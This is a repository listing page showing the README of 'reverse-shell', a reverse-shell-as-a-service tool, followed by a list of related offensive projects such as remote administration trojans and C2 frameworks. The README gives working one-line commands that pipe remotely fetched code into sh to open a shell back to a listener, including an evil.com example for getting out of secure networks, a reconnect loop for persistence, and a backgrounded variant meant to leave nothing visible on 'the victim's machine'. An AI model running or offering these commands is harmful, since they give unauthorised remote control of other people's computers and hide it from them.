Back to rankings

lukechilds/reverse-shell

Goreverse-shell.sh

Reverse Shell as a Service

reverse-shellexploitvulnerabilitypentestingmicroservicesecurity
Star Growth
Stars
2k
Forks
251
Weekly Growth
Issues
1
1k2k
Sep 2017Aug 2020Aug 2023Jul 2026
ArtifactsGo Modulesgo get github.com/lukechilds/reverse-shell
README

reverse-shell

Reverse Shell as a Service - https://reverse-shell.sh

Tests Coverage Status GitHub Donate

Easy to remember reverse shell that should work on most Unix-like systems.

Detects available software on the target and runs an appropriate payload.

Usage

1. Listen for connection

On your machine, open up a port and listen on it. You can do this easily with netcat.

nc -l 1337

2. Execute reverse shell on target

On the target machine, pipe the output of https://reverse-shell.sh/yourip:port into sh.

curl https://reverse-shell.sh/192.168.0.69:1337 | sh

Go back to your machine, you should now have a shell prompt.

3. Don't be a dick

This is meant to be used for pentesting or helping coworkers understand why they should always lock their computers. Please don't use this for anything malicious.

Demo

Tips

Hostname

You can use a hostname instead of an IP.

curl https://reverse-shell.sh/localhost:1337 | sh

Remote connections

Because this is a reverse connection it can punch through firewalls and connect to the internet.

You could listen for connections on a server at evil.com and get a reverse shell from inside a secure network with:

curl https://reverse-shell.sh/evil.com:1337 | sh

Reconnecting

By default when the shell exits you lose your connection. You may do this by accident with an invalid command. You can easily create a shell that will attempt to reconnect by wrapping it in a while loop.

while true; do curl https://reverse-shell.sh/yourip:1337 | sh; done

Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.

Running as a background process

The terminal session needs to be kept open to persist the reverse shell connection. That might be a bit of a giveaway if you're trying to prank coworkers.

The following command will run the reverse shell in a background process and exit the terminal, leaving no suspicious looking terminal windows open on the victim's machine.

Make sure you run this in a fresh terminal window otherwise you'll lose any work in your existing session.

sh -c "curl https://reverse-shell.sh/localhost:1337 | sh -i &" && exit

License

MIT © Luke Childs

Related repositories
GTFOBins/GTFOBins.github.io

GTFOBins is a curated list of Unix-like executables that can be used to bypass local security restrictions in misconfigured systems.

YAMLGNU General Public License v3.0post-exploitationlinux
gtfobins.org
13.5k1.6k
n1nj4sec/pupy

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) C2 and post-exploitation framework written in python and C

PythonPyPIOtherpupypython
9k1.9k
LasCC/HackTools

The all-in-one browser extension for offensive security professionals 🛠

TypeScriptnpmreverse-shellhacking
hacktools.sh
6.9k775
karma9874/AndroRAT

A Simple android remote administration tool using sockets. It uses java on the client side and python on the server side

JavaMavenMIT Licenseandroidbackdoor
4.9k1.6k
nathanlopez/Stitch

Python Remote Administration Tool (RAT)

PythonPyPIOthermac-osxlinux
nathanlopez.github.io/Stitch/
3.6k709
t3l3machus/hoaxshell

A Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell.

PythonPyPIBSD 2-Clause "Simplified" Licensehackingpenetration-testing
3.5k523
joaomatosf/jexboss

JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool

PythonPyPIOtherexploitexploiting-vulnerabilities
2.5k641
Marten4n6/EvilOSX

An evil RAT (Remote Administration Tool) for macOS / OS X.

PythonPyPIGNU General Public License v3.0ratreverse-shell
2.4k487
cytopia/pwncat

pwncat - netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE)

ShellMIT Licensenetcatncat
pwncat.org
2k215
brightio/penelope

Penelope Shell Handler

PythonPyPIGNU General Public License v3.0ptytty
1.9k219
AV1080p/Hacking-With-Golang

Golang安全资源合集

golangsecurity
1.8k350
lucasjacks0n/EggShell

iOS/macOS/Linux Remote Administration Tool

Objective-CGNU General Public License v2.0iosmacos
1.8k386